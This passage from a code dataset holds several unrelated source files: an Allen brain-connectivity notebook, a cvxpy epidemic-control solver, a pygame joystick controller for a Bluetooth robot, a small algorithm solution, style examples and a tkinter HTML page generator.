(`mcc`).\n# \n# Below we will access information on the hypothalamus via its name by calling `get_structures_by_name()` on our StructureTree instance. \n\n# In[7]:\n\n\n# Grab the StructureTree instance\nstructure_tree = mcc.get_structure_tree()\n\n# Get info on hypothalamus by its name \nhypothalamus = structure_tree.get_structures_by_name(['Hypothalamus'])[0]\nhypothalamus\n\n\n# This gives us a dictionary with metadata about our brain structure of interest. \n\n# So far, we know that the Primary Motar Area is a brain structure available to us in our experiments, but what about the rest of the brain structures? How do we find what are all the brain structures availabe to us? To do so, we can take a look at the unique values under the `name` column, in our summary of brain structures. \n\n# **Note:** we will go over structure set ids, `get_structure_sets()`, and the `get_structures_by_set_id()` methods later in this notebook. We will just be using `get_structures_by_set_id()` to access our Summary Structures Data.\n\n# In[8]:\n\n\n# From the above table, \"Brain - Summary Structures\" has ID 167587189\nsummary_structures = structure_tree.get_structures_by_set_id([167587189])\nsummary_structures_df = pd.DataFrame(summary_structures)\n\n# Determine how many different structures are within our experiments \nstructure_name = summary_structures_df['name'].unique()\nprint(\"%d Total Available Brain Structures\" % len(structure_name))\n\n# print the first 20 brain structures in our data\nprint(structure_name[:19])\n\n\n# We know that the Motar Cortex Area has ID 985, but what if we do not know the structure ID? That is not a hard probelm to fix. Like we did earlier, we can access a dictionary of metadata for our structure of interest using our StructureTree helper methods. \n\n# In[9]:\n\n\n# get info on Ventral tegmental area by its name \nVTA = structure_tree.get_structures_by_name(['Ventral tegmental area'])[0]\n\n# specify the strucure id by indexixing into the 'id' of `VTA`\nVTA_df = pd.DataFrame(mcc.get_experiments(injection_structure_ids = [VTA['id']]))\nVTA_df.head()\n\n\n# ## Putting it All Together \n\n# Below is an example of how we can combine both filtering by Cre line and by injection structure to get a more refined set of data.\n\n# In[10]:\n\n\n# select cortical experiments \nisocortex = structure_tree.get_structures_by_name(['Isocortex'])[0]\n\n# same as before, but restrict the cre line\nrbp4_cortical_experiments = mcc.get_experiments(cre=[ 'Rbp4-Cre_KL100' ], \n injection_structure_ids=[isocortex['id']])\n\n# convert to a dataframe \nrbp4_cortical_df = pd.DataFrame(rbp4_cortical_experiments).set_index('id')\nrbp4_cortical_df.head()\n\n\n# As a convenience, structures are grouped in to named collections called \"structure sets\". These sets can be used to quickly gather a useful subset of structures from the tree. The criteria used to define structure sets are eclectic; a structure set might list:\n# \n# - structures that were used in a particular project.\n# - structures that coarsely partition the brain.\n# - structures that bear functional similarity.\n# \n# To see only structure sets relevant to the adult mouse brain, use the StructureTree:\n\n# In[11]:\n\n\nfrom allensdk.api.queries.ontologies_api import OntologiesApi\n\noapi = OntologiesApi()\n\n# get the ids of all the structure sets in the tree\nstructure_set_ids = structure_tree.get_structure_sets()\n\n# query the API for information on those structure sets\npd.DataFrame(oapi.get_structure_sets(structure_set_ids))\n\n\n# As you can see from the table above, there are many different sets that our available brain structures can be grouped in. Below we will look into our Mouse Connectivity Summary data by specifying the set ID using the `get_structure_by_set_id()` method. \n\n# In[12]:\n\n\n# From the above table, \"Mouse Connectivity - Summary\" has id 687527945\nsummary_connectivity = structure_tree.get_structures_by_set_id([687527945])\nsummary_connectivity_df = pd.DataFrame(summary_connectivity)\nsummary_connectivity_df.head()\n\n\n# ## Additional Resources \n\n# For more information on the different methods to access information on brain structures as well as the StructureTree class, visit here. \n\n# In[ ]:\n\n\n\n\n","sub_path":"_build/jupyter_execute/Chapter_8/Downloading_Experimental_Data.py","file_name":"Downloading_Experimental_Data.py","file_ext":"py","file_size_in_byte":8216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"270419671","text":"import numpy as np\nimport cvxpy as cp\nfrom controller.control_gain import control_gain_constant\nfrom controller.control_gain import control_gain_constraint\nfrom controller.triggering_gain import triggering_gain_constant\nfrom controller.triggering_gain import triggering_gain_constraint\nnp.random.seed(0)\nINF = 1e9\nepsilon = 1e-15\n\n\nclass ETC_SIS:\n def __init__(self, args, p, B, D, M, W, d):\n self.args = args\n self.n = args.node_num\n self.On = np.zeros((args.node_num))\n self.In = np.identity(args.node_num)\n self.p = p\n self.B = B\n self.D = D\n self.M = M\n self.W = W\n self.d = d\n self.barL = B - epsilon\n self.barK = np.identity(args.node_num) * args.kbar\n\n def analyze_theta(self, K, L, G, H):\n # define variables of the state of nodes\n x = cp.Variable(self.n, pos=True)\n\n # define parameter of theorem 1\n s = (K + L.T).dot(self.In - G).dot(self.p)\n S = np.diag(s)\n Q = S + 1 / 2 * np.diag(self.p).dot(L.T).dot(self.In - G).dot(G + H)\n Q = (Q.T + Q) / 2\n r = (self.B.T - self.D + (K + L.T).dot(H)).dot(self.p)\n\n # define constraint in theorem 1\n if np.all(Q == 0):\n constranit_theta = [- r.T @ x <= 0,\n 0 <= x, x <= 1]\n else:\n constranit_theta = [cp.quad_form(x, Q) - r.T @ x <= 0,\n 0 <= x, x <= 1]\n\n # define objective function in theorem 1\n theta = self.p.T @ x\n\n # solve program of theorem 1 and caluculate theta*\n prob_theta = cp.Problem(cp.Maximize(theta), constranit_theta)\n prob_theta.solve(solver=cp.MOSEK)\n\n return prob_theta.value\n\n def control_gain_solver_gp(self):\n # define varialbe\n tildeL = cp.Variable((self.n, self.n), pos=True)\n tildeK = cp.Variable((self.n, self.n), pos=True)\n s = cp.Variable((self.M, self.n), pos=True)\n xi = cp.Variable((self.M, 1), pos=True)\n\n # define constant\n rc, c1, c2 = control_gain_constant(\n n=self.n, p=self.p, B=self.B, D=self.D, M=self.M, W=self.W, d=self.d, barL=self.barL, barK=self.barK)\n\n # create constraints\n gp_consts_c = control_gain_constraint(n=self.n, p=self.p, B=self.B, M=self.M, W=self.W, d=self.d,\n barL=self.barL, barK=self.barK, rc=rc, c1=c1, c2=c2, tildeL=tildeL, tildeK=tildeK, s=s, xi=xi)\n\n # create objective func and solve GP (control parameters)\n gp_fc = 1\n for i in range(self.n):\n gp_fc += self.barK[i][i] * 10000000000000 / tildeK[i][i]\n for j in range(self.n):\n if self.B[i][j] != 0:\n gp_fc += self.barL[i][j] / tildeL[i][j]\n\n gp_prob_c = cp.Problem(cp.Maximize(1 / gp_fc), gp_consts_c)\n gp_prob_c.solve(gp=True, solver=cp.MOSEK)\n print(\"GP status (control parameters):\", gp_prob_c.status)\n\n # get value of K and L\n Lstar = self.barL - np.array(tildeL.value)\n Kstar = self.barK - np.array(tildeK.value)\n for i in range(self.n):\n for j in range(self.n):\n if i != j:\n Kstar[i][j] = 0\n if self.B[i][j] == 0:\n Lstar[i][j] = 0\n return Lstar, Kstar\n\n def triggered_parameter_solver_gp(self, Lstar, Kstar):\n # define variable\n sigma = cp.Variable(self.n, pos=True)\n eta = cp.Variable(self.n, pos=True)\n r = cp.Variable((self.M, self.n), pos=True)\n s = cp.Variable((self.M, self.n), pos=True)\n xi1 = cp.Variable((self.M, 1), pos=True)\n xi2 = cp.Variable((self.M, self.n), pos=True)\n\n # define constant\n rc, c3 = triggering_gain_constant(\n n=self.n, p=self.p, B=self.B, D=self.D, M=self.M, W=self.W, Lstar=Lstar, Kstar=Kstar)\n\n # create constraints\n gp_consts_t = triggering_gain_constraint(\n n=self.n, p=self.p, B=self.B, M=self.M, W=self.W, d=self.d, rc=rc, c3=c3, sigma=sigma, eta=eta, r=r, s=s, xi1=xi1, xi2=xi2)\n\n # create objective funcition and solve GP (triggered paramters)\n gp_ft = 1\n for i in range(self.n):\n gp_ft *= (sigma[i]) * (eta[i])\n gp_prob_e = cp.Problem(cp.Maximize(gp_ft), gp_consts_t)\n gp_prob_e.solve(gp=True, solver=cp.MOSEK)\n print(\"GP status (event-triggered paramters) :\", gp_prob_e.status)\n\n # get value of sigma and eta\n sigmastar = np.array(sigma.value)\n etastar = np.array(eta.value)\n return sigmastar, etastar\n","sub_path":"lib/model/etc_sis.py","file_name":"etc_sis.py","file_ext":"py","file_size_in_byte":4625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"114438021","text":"#!/usr/bin/python\nimport pygame, sys, os\nimport pygame.locals as pgl\nfrom time import sleep, time\nfrom collections import deque\nimport numpy as np\ncurrentpath = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..'))\nsys.path.append(currentpath)\nfrom TBotTools import tbt, pgt\n\nstarttime = time()\nPlayMacro = 0\nRecordMacro = 0\nDeleteMacro = 0\n\nclock = pygame.time.Clock()\nt1 = 0\nstarttime = time()\n\n# setup for plotting\nxdatarange = [280,520]\ny_origin = 100\nyscale = 100\npts = deque(maxlen=xdatarange[1]-xdatarange[0])\nfor ii in range(xdatarange[0],xdatarange[1]):\n pts.appendleft((ii,np.random.rand(1)))\niii = 200\naa = np.zeros((len(pts),2))\naa[:,1]=np.array(pts)[:,1]\naa[:,0]=np.array(range(xdatarange[0],xdatarange[1]))\nbb=np.copy(aa)\n \n\ndirpath = os.path.dirname(os.path.realpath(__file__))+'/Images'\ntimestart = time()\nspeedfactor = 0.6\nspeedlimit = 70\nturnspeedlimit = 60\n\n\n################### Setup Bluetooth #############################\n\noldvals = [0,0,0,0]\nsendcount = 0\n\n#------------------------------------------------------------------\n# For Linux / Raspberry Pi\n#------------------------------------------------------------------\n#bd_addr = '98:D3:51:FD:81:AC' # use: 'hcitool scan' to scan for your T-Bot address\n\nbd_addr = '98:D3:71:FD:46:9C' # Trailblazer\nport = 1\n#btcom = tbt.bt_connect(bd_addr,port,'PyBluez')\nbtcom = tbt.bt_connect(bd_addr,port,'Socket')\n\n#------------------------------------------------------------------\n# For Windows and Mac\n#------------------------------------------------------------------\n#port = 'COM5'\n#port = '/dev/tty.George-DevB'\n#baudrate = 38400\n#bd_addr = 'Empty'\n#btcom = tbt.bt_connect(bd_addr,port,'PySerial',baudrate)\n \n \n \n \ndef send(sendstr,sendcount,cmd_write):\n global starttime\n sendcount = btcom.send_data(sendstr,sendcount)\n if cmd_write:\n f2.write(str(time()-starttime)+','+sendstr+'\\n')\n starttime = time()\n return sendcount\n\n\ndef playmacro(filename,sendcount):\n try:\n ff = open(filename)\n cmd_data = ff.readlines()\n ff.close()\n \n for ii in range(len(cmd_data)):\n aa = cmd_data[ii].split(',')\n dtime = float(aa[0])\n cmsstr = aa[1]\n sleep(dtime)\n sendcount = btcom.send_data(cmsstr,sendcount)\n except:\n print('The cmd.csv file does not exist. Try recording a macro first.')\n\n \n# Define some colors.\nBLACK = pygame.Color('black')\nWHITE = pygame.Color('white')\nGRAY = pygame.Color('gray')\nRED = pygame.Color('red')\n#-----------------------------------------------------------------------\n# Initialize PyGame\n#-----------------------------------------------------------------------\npygame.init()\n\n# Set the width and height of the screen (width, height).\nscreen = pygame.display.set_mode((900, 590))\n\nbg = pygame.image.load(dirpath+'/HUD/Controller7.png').convert()\n\n\nbgG = pygame.image.load(dirpath+'/HUD/offline.png').convert()\ndpad = pygame.image.load(dirpath+'/HUD/dpad.png')\ndpadU = pygame.image.load(dirpath+'/HUD/dpadU.png')\ndpadD = pygame.image.load(dirpath+'/HUD/dpadD.png')\ndpadL = pygame.image.load(dirpath+'/HUD/dpadL.png')\ndpadR = pygame.image.load(dirpath+'/HUD/dpadR.png')\ndpadUR = pygame.image.load(dirpath+'/HUD/dpadUR.png')\ndpadDR = pygame.image.load(dirpath+'/HUD/dpadDR.png')\ndpadUL = pygame.image.load(dirpath+'/HUD/dpadUL.png')\ndpadDL = pygame.image.load(dirpath+'/HUD/dpadDL.png')\n\nbpad = pygame.image.load(dirpath+'/HUD/bpad.png')\nbpadU = pygame.image.load(dirpath+'/HUD/bpadU.png')\nbpadD = pygame.image.load(dirpath+'/HUD/bpadD.png')\nbpadL = pygame.image.load(dirpath+'/HUD/bpadL.png')\nbpadR = pygame.image.load(dirpath+'/HUD/bpadR.png')\nbpadUR = pygame.image.load(dirpath+'/HUD/bpadUR.png')\nbpadDR = pygame.image.load(dirpath+'/HUD/bpadDR.png')\nbpadUL = pygame.image.load(dirpath+'/HUD/bpadUL.png')\nbpadDL = pygame.image.load(dirpath+'/HUD/bpadDL.png')\n\nspotB = pygame.image.load(dirpath+'/HUD/spotT.png')\nspotT = pygame.image.load(dirpath+'/HUD/spotB.png')\n\nstick = pygame.image.load(dirpath+'/HUD/stick.png')\n\nL1 = pygame.image.load(dirpath+'/HUD/L1.png')\nL2 = pygame.image.load(dirpath+'/HUD/L2.png')\nL1L2 = pygame.image.load(dirpath+'/HUD/L1L2.png')\nR1 = pygame.image.load(dirpath+'/HUD/R1.png')\nR2 = pygame.image.load(dirpath+'/HUD/R2.png')\nR1R2 = pygame.image.load(dirpath+'/HUD/R1R2.png')\n\n\nposdpad = (295,340)\nposbpad = (520,340)\nposstickL = (358, 395)\nposstickR = (480,395)\nposL = (302,282)\nposR = (531,282)\n\nspotTorigin = (123,145)\nspotBorigin = (765,145)\nspotV = np.array([0,-62])\n\n\n\npygame.display.set_caption(\"Player 1\")\n\n# Loop until the user clicks the close button.\ndone = False\n\n# Used to manage how fast the screen updates.\nclock = pygame.time.Clock()\n\n# Initialize the joysticks.\npygame.joystick.init()\n\n# Get ready to print.\ntextPrint = pgt.TextPrint(WHITE)\n\nreaddataevent = pygame.USEREVENT+1\npygame.time.set_timer(readdataevent, 33)\n# -------- Main Program Loop -----------\n\njoystick = pygame.joystick.Joystick(0)\njoystick.init()\njoystick_count = pygame.joystick.get_count()\nname = joystick.get_name()\naxes = joystick.get_numaxes()\nhats = joystick.get_numhats()\nwhile not done:\n if pygame.event.get(readdataevent):\n oldvals = btcom.get_data(oldvals)\n\n for event in pygame.event.get(): # User did something.\n if event.type == pygame.QUIT: # If user clicked close.\n done = True # Flag that we are done so we exit this loop.\n\n if event.type == pgl.KEYDOWN and event.key == pgl.K_q:\n done = True\n\n if event.type == pgl.KEYDOWN and event.key == pgl.K_t:\n WHITE = pygame.Color('white')\n \n themelist = [\"bg = pygame.image.load(dirpath+'/HUD/Controller.png').convert()\",\n \"bg = pygame.image.load(dirpath+'/HUD/Controller2.png').convert()\",\n \"bg = pygame.image.load(dirpath+'/HUD/Controller3.png').convert()\",\n \"bg = pygame.image.load(dirpath+'/HUD/Controller4.png').convert()\",\n \"bg = pygame.image.load(dirpath+'/HUD/Controller5.png').convert()\",\n \"bg = pygame.image.load(dirpath+'/HUD/Controller6.png').convert()\",\n \"bg = pygame.image.load(dirpath+'/HUD/Controller7.png').convert()\",\n \"bg = pygame.image.load(dirpath+'/HUD/ControllerI.png').convert()\"]\n exec(themelist[t1])\n if t1 == 7:\n WHITE = BLACK\n textPrint.setColour(WHITE)\n \n \n #pygame.image.save(screen, \"CapturedImages/{:02d}.png\".format(t1))\n if t1 == 7:\n t1 = 0\n else:\n t1 += 1\n \n\n if btcom.connected():\n screen.blit(bg, [0, 0])\n else:\n tries = 0\n while btcom.connected() < 1 and tries < 10:\n print('Connecting ...')\n screen.blit(bgG, [0, 0])\n pygame.display.flip()\n try:\n print('Try '+str(tries+1)+' of 10')\n btcom.connect(0)\n btcom.connect(1)\n tries+=1\n except:\n print('Something went wrong')\n \n if btcom.connected() < 1:\n print('Exiting Program')\n pygame.display.quit()\n sys.exit()\n else:\n tries = 0\n\n textPrint.reset()\n\n # Get count of joysticks.\n \n\n textPrint.abspos(screen, \"Number of joysticks: {}\".format(joystick_count),(20,280))\n textPrint.indent()\n\n textPrint.tprint(screen, \"Joystick name: {}\".format('Generic Controller'))\n \n textPrint.tprint(screen, \"\")\n textPrint.tprint(screen, \"Number of axes: {}\".format(axes))\n textPrint.indent()\n textPrint.unindent()\n \n textPrint.tprint(screen, \"Number of hats: {}\".format(hats))\n textPrint.indent()\n\n for i in range(axes):\n axis = joystick.get_axis(i)\n textPrint.tprint(screen, \"Axis {} value: {:>6.3f}\".format(i, axis))\n axis0 = joystick.get_axis(0)\n axis1 = joystick.get_axis(1)\n axis2 = joystick.get_axis(2)\n axis3 = joystick.get_axis(3)\n textPrint.unindent()\n textPrint.tprint(screen, \"\")\n buttons = joystick.get_numbuttons()\n \n textPrint.abspos(screen, \"Number of buttons: {}\".format(buttons),(710,280))\n textPrint.tprint(screen, \"\")\n for i in range(buttons):\n button = joystick.get_button(i)\n textPrint.tprint(screen,\n \"Button {:>2} value: {}\".format(i, button))\n\n for i in range(hats):\n hat = joystick.get_hat(i)\n textPrint.tprint(screen, \"Hat {} value: {}\".format(i, str(hat)))\n if hat[1] == 1:\n speedfactor += 0.1\n elif hat[1] == -1:\n speedfactor -= 0.1\n elif hat[0] == -1:\n speedlimit -= 5\n elif hat[0] == +1:\n speedlimit += 5\n if speedlimit >= 100:\n speedlimit = 100\n if speedlimit <= 0:\n speedlimit = 0\n if speedfactor >= 5:\n speedfactor = 5\n if speedfactor <= 0:\n speedfactor = 0\n \n textPrint.unindent()\n \n\n #g_angle = (oldvals[3]*20/255)-10 # Conversion from scaled output from T-Bot\n g_angle = oldvals[3]\n pts.appendleft((iii,g_angle))\n iii+=1\n pygame.draw.lines(screen, (0,255,255), False, ((xdatarange[0],y_origin+0.5*yscale),(xdatarange[1],y_origin+0.5*yscale)),1)\n pygame.draw.lines(screen, (0,255,255), False, ((xdatarange[0],y_origin),(xdatarange[0],y_origin+yscale)),1)\n if iii > xdatarange[1]:\n iii = xdatarange[0]\n aa[:,1]=np.array(pts)[:,1]\n try: \n bb[:,1] = (yscale/((aa[:,1]-aa[:,1].max()).min())*(aa[:,1]-aa[:,1].max()))+y_origin\n gdata = tuple(map(tuple, tuple(bb)))\n pygame.draw.lines(screen, WHITE, False, (gdata),1)\n \n except:\n b=1\n \n textPrint.abspos(screen, \"{:+.2f}\".format(aa[:,1].max()),[xdatarange[0],y_origin-20])\n textPrint.abspos(screen, \"{:+.2f}\".format(aa[:,1].min()),[xdatarange[0],y_origin+yscale+5])\n \n \n \n textPrint.abspos(screen, \"T-Bot Data\",(550,85))\n textPrint.tprint(screen, \"\")\n textPrint.tprint(screen, \"gyrodata: {}\".format(str(oldvals[3])))\n textPrint.tprint(screen, \"kps: {}\".format(str(oldvals[0])))\n textPrint.tprint(screen, \"kp: {}\".format(str(oldvals[1])))\n textPrint.tprint(screen, \"trim: {}\".format(str(oldvals[2])))\n textPrint.tprint(screen, \"Speed Factor: {}\".format(str(speedfactor)))\n textPrint.tprint(screen, \"Speed Limit: {}%\".format(str(speedlimit)))\n textPrint.tprint(screen, \"{} FPS\".format(str(int(clock.get_fps())))) \n\n textPrint.unindent()\n\n\n textPrint.abspos(screen, \"www.klikrobotics.com\",(20,20))\n#\n# ############# Send data to T-Bot ##############################\n#\n if abs(axis0)+abs(axis1)+abs(axis2)+abs(axis3) != 0:\n slowfactor = 1\n turn = 200+int(((axis0+(axis2*0.5))*speedfactor*100/slowfactor))\n speed = 200-int(((axis1+(axis3*0.5))*speedfactor*100/slowfactor))\n if speed > 200+speedlimit:\n speed = 200+speedlimit\n if speed < 200-speedlimit:\n speed = 200-speedlimit\n\n if turn > 200+turnspeedlimit:\n turn = 200+turnspeedlimit\n if turn < 200-turnspeedlimit:\n turn = 200-turnspeedlimit\n \n sendstring = str(turn)+str(speed)+'Z'\n sendcount = send(sendstring,sendcount,RecordMacro)\n else:\n turn = 200\n speed = 200\n sendstring = str(turn)+str(speed)+'Z'\n sendstring = '200200Z'\n sendcount = send(sendstring,sendcount,RecordMacro)\n\n \n \n theta = np.arctan((speed-200,speed-200))\n rmat = np.array([[np.cos(theta),-np.sin(theta)],[np.sin(theta),np.cos(theta)]])\n spotTpos = tuple(spotTorigin+np.dot(rmat,np.array([spotV]).T).T[0].astype(int))\n theta = -theta-np.pi\n rmat = np.array([[np.cos(theta),-np.sin(theta)],[np.sin(theta),np.cos(theta)]])\n spotTpos2 = tuple(spotTorigin+np.dot(rmat,np.array([spotV]).T).T[0].astype(int))\n\n \n theta2 = np.arctan((turn-200,turn-200))+np.pi/2\n rmat = np.array([[np.cos(theta2),-np.sin(theta2)],[np.sin(theta2),np.cos(theta2)]])\n spotBpos = tuple(spotBorigin+np.dot(rmat,np.array([spotV]).T).T[0].astype(int))\n rmat = np.array([[np.cos(-theta2),-np.sin(-theta2)],[np.sin(-theta2),np.cos(-theta2)]])\n spotBpos2 = tuple(spotBorigin+np.dot(rmat,np.array([spotV]).T).T[0].astype(int))\n \n screen.blit(spotT,spotTpos)\n screen.blit(spotT,spotTpos2)\n screen.blit(spotB,spotBpos)\n screen.blit(spotB,spotBpos2) \n \n if joystick.get_button(0):\n buttonstring = '200200F' # trim +ve\n sendcount = send(buttonstring,sendcount,RecordMacro)\n elif joystick.get_button(2):\n buttonstring = '200200E' # trim -ve\n sendcount = send(buttonstring,sendcount,RecordMacro)\n\n elif joystick.get_button(1):\n buttonstring = '200200B' # kps +ve\n sendcount = send(buttonstring,sendcount,RecordMacro)\n elif joystick.get_button(3):\n buttonstring = '200200A' # kps -ve\n sendcount = send(buttonstring,sendcount,RecordMacro)\n elif joystick.get_button(9):\n buttonstring = '200200T' # kps -ve\n sendcount = send(buttonstring,sendcount,RecordMacro)\n\n # ------------------ Highlight buttons ----------------#\n screen.blit(dpad,posdpad)\n screen.blit(bpad,posbpad)\n screen.blit(stick,(posstickL[0]+axis0*5,posstickL[1]+axis1*5))\n screen.blit(stick,(posstickR[0]+axis2*5,posstickR[1]+axis3*5))\n \n if hat[0] == 1:\n screen.blit(dpadR,posdpad)\n elif hat[0] == -1:\n screen.blit(dpadL,posdpad)\n elif hat[1] == 1:\n screen.blit(dpadU,posdpad)\n elif hat[1] == -1:\n screen.blit(dpadD,posdpad)\n else:\n screen.blit(dpad,posdpad)\n \n if (hat[0] == -1) & (hat[1] == 1):\n screen.blit(dpadUL,posdpad)\n elif (hat[0] == 1) & (hat[1] == -1):\n screen.blit(dpadDR,posdpad)\n elif (hat[0] == 1 & hat[1] == 1):\n screen.blit(dpadUR,posdpad)\n elif hat[0] == -1 & hat[1] == -1:\n screen.blit(dpadDL,posdpad)\n \n if joystick.get_button(0):\n screen.blit(bpadU,posbpad)\n elif joystick.get_button(1):\n screen.blit(bpadR,posbpad)\n elif joystick.get_button(2):\n screen.blit(bpadD,posbpad)\n elif joystick.get_button(3):\n screen.blit(bpadL,posbpad)\n else:\n screen.blit(bpad,posbpad)\n \n if joystick.get_button(0) & joystick.get_button(1):\n screen.blit(bpadUR,posbpad)\n elif joystick.get_button(1) & joystick.get_button(2):\n screen.blit(bpadDR,posbpad)\n elif joystick.get_button(2) & joystick.get_button(3):\n screen.blit(bpadDL,posbpad)\n elif joystick.get_button(0) & joystick.get_button(3):\n screen.blit(bpadUL,posbpad)\n\n if joystick.get_button(4):\n screen.blit(L1,posL)\n RecordMacro = 1\n f2= open('cmd.csv','a')\n \n elif joystick.get_button(6):\n screen.blit(L2,posL)\n RecordMacro = 0\n f2.close()\n\n elif joystick.get_button(5):\n screen.blit(R1,posR)\n PlayMacro = 1\n \n elif joystick.get_button(7):\n screen.blit(R2,posR)\n DeleteMacro = 1\n else:\n screen.blit(bpad,posbpad)\n \n if joystick.get_button(4) & joystick.get_button(6):\n screen.blit(L1L2,posL)\n elif joystick.get_button(5) & joystick.get_button(7):\n screen.blit(R1R2,posR)\n elif joystick.get_button(4) & joystick.get_button(5):\n screen.blit(L1,posL)\n screen.blit(R1,posR)\n elif joystick.get_button(4) & joystick.get_button(7):\n screen.blit(L1,posL)\n screen.blit(R2,posR)\n elif joystick.get_button(6) & joystick.get_button(5):\n screen.blit(L2,posL)\n screen.blit(R1,posR)\n elif joystick.get_button(6) & joystick.get_button(7):\n screen.blit(L2,posL)\n screen.blit(R2,posR)\n \n if joystick.get_button(4) & joystick.get_button(6) & joystick.get_button(5):\n screen.blit(L1L2,posL)\n screen.blit(R1,posR)\n elif joystick.get_button(4) & joystick.get_button(6) & joystick.get_button(7):\n screen.blit(L1L2,posL)\n screen.blit(R2,posR)\n elif joystick.get_button(4) & joystick.get_button(5) & joystick.get_button(7):\n screen.blit(L1,posL)\n screen.blit(R1R2,posR)\n elif joystick.get_button(5) & joystick.get_button(6) & joystick.get_button(7):\n screen.blit(L2,posL)\n screen.blit(R1R2,posR) \n \n if joystick.get_button(4) & joystick.get_button(5) & joystick.get_button(6) & joystick.get_button(7):\n screen.blit(L1L2,posL)\n screen.blit(R1R2,posR)\n \n textPrint.abspos(screen, \"Press T to change Theme\",(20,470))\n textPrint.tprint(screen, \"L1 - Record\")\n textPrint.tprint(screen, \"L2 - Stop Recording\")\n textPrint.tprint(screen, \"R1 - Play Macro\")\n textPrint.tprint(screen, \"R2 - Delete Macro\")\n \n textPrint.setColour(RED)\n textPrint.setfontsize(20)\n if RecordMacro:\n textPrint.tprint(screen, 'Recording Macro')\n if PlayMacro:\n if RecordMacro == 0:\n textPrint.tprint(screen, 'Locked - Playing Macro')\n pygame.display.flip()\n playmacro('cmd.csv',sendcount)\n PlayMacro = 0\n else:\n textPrint.tprint(screen, 'Stop Recording First')\n \n if DeleteMacro:\n if RecordMacro == 0:\n f2= open('cmd.csv','w')\n f2.close()\n DeleteMacro = 0\n else:\n textPrint.tprint(screen, 'Stop Recording First')\n \n \n textPrint.setColour(WHITE)\n textPrint.setfontsize(15) \n \n \n pygame.display.flip()\n\n # Limit to 20 frames per second.\n clock.tick(30)\n\n# Close the window and quit.\n\npygame.quit()\nbtcom.connect(0)\nprint('Connection Closed')\n","sub_path":"Python/Joystick/joystick_HUD_Macro.py","file_name":"joystick_HUD_Macro.py","file_ext":"py","file_size_in_byte":17823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"490566740","text":"N = int(input())\npoles = []\nhighest = 0\n\n# 기둥 위치, 높이 저장하며 가장 높은 것 찾기\nfor n in range(N):\n L, H = map(int, input().split())\n if highest < H:\n highest = H\n h_idx = L\n poles.append([L, H])\n\n# 가장 높은 것 기준으로 왼편, 오른편 나누기\nleft = []\nright = []\nfor i in range(N):\n if poles[i][0] <= h_idx :\n left.append(poles[i])\n elif poles[i][0] > h_idx :\n right.append(poles[i])\nright.append([h_idx, highest])\nleft.sort()\nright.sort()\n\n# 가장 높은 것 area에 넣고 시작\narea = highest\n\n# area에 기둥 왼편 다각형 넓이 더하기\nfor i in range(0,len(left)-1):\n if left[i][1] > left[i+1][1]:\n left[i+1][1] = left[i][1]\n area += left[i][1] * (left[i+1][0] - left[i][0])\n\n# area에 기둥 오른편 다각형 넓이 더하기\nfor i in range(len(right)-1, 0, -1):\n if right[i][1] > right[i-1][1]:\n right[i-1][1] = right[i][1]\n area += right[i][1]* (right[i][0] - right[i-1][0])\n\nprint(area)","sub_path":"BOJ/IM 대비 필수문제/[2304] 창고 다각형.py","file_name":"[2304] 창고 다각형.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"92762167","text":"# плохо\ndef get_sk(fi, pk):\n\n e = 10**(len(str(pk))-1)\n\n if len(str(pk)) != 1:\n e -= 1\n\n while True:\n if (e * pk) % fi == 1:\n break\n else:\n e += 2\n return e\n\n\n# хорошо\ndef get_sk2(fi, pk):\n\n e = 10**(len(str(pk))-1)\n\n if len(str(pk)) != 1:\n e -= 1\n print(\"первый\")\n \n while (e * pk) % fi != 1:\n e += 2\n print(e)\n print(\"ret\")\n return e\n\nprint(get_sk2(2,1))\ninput()\n'''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'''\n\n\n# плохо\ndef two_simple(a, d):\n i = 2\n while i <= a:\n if a % i == 0 or d % i == 0:\n return False\n elif i == a:\n return True\n i += 1\n\n\n# хорошо\ndef two_simple(a, d):\n i = 2\n while i <= a:\n if a % i == 0 and d % i == 0:\n return False\n elif i == a:\n return True\n i += 1\n\n\n'''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'''\n\n\n# плохо\ndef contains_spaces(str):\n result = False\n for i in str:\n if i == \" \":\n result = True\n return result\n\n\n# хорошо\ndef contains_spaces2(str):\n for i in str:\n if i == \" \":\n return True\n return False\n","sub_path":"Site/useless.py","file_name":"useless.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"251532694","text":"\nimport tkinter\nfrom tkinter import *\nimport webbrowser\n\nclass ParentWindow(Frame):\n def __init__(self, master):\n Frame.__init__(self)\n\n self.master = master\n self.master.resizable(width=True,height=True)\n self.master.geometry('{}x{}'.format(700,300))\n self.master.title('Webpage Generator')\n self.master.config(bg='lightgray')\n\n self.varBody = StringVar()\n\n self.lblBody = Label(self.master,text = 'Webpage Body : ', font=('Helvetica', 16), fg = 'black', bg='lightgray')\n self.lblBody.grid(row=0, column=0, padx=(30,0), pady=(30,0))\n\n self.txtBody = Entry(self.master, text= self.varBody, width = 30, font=('Helvetica', 16), fg = 'black', bg='white')\n self.txtBody.grid(row=0, column=1, padx=(30,0), pady=(30,0))\n\n self.lblDisplay = Label(self.master,text = ' ', font=('Helvetica', 16), fg = 'black', bg='lightgray')\n self.lblDisplay.grid(row=3, column=1, padx=(30,0), pady=(30,0))\n\n self.btnSubmit = Button(self.master, text='Submit', width=10, height=2, command = self.submit)\n self.btnSubmit.grid(row=2, column=1, padx=(0,0), pady=(30,0), sticky=NE)\n\n self.btnCancel = Button(self.master, text='Cancel', width=10, height=2, command = self.cancel)\n self.btnCancel.grid(row=2, column=1, padx=(0,90), pady=(30,0), sticky=NE)\n\n\n\n def submit(self) :\n self.varBody.get()\n self.lblDisplay.config\n f = open('Custom_WebPage.html','x')\n\n message = \"\"\"\"\"\"+self.varBody.get()+\"\"\"\"\"\"\n\n f.write(message)\n f.close()\n\n webbrowser.open_new_tab('Custom_WebPage.html')\n\n\n def cancel(self) :\n self.master.destroy()\n\n \n\n\nif 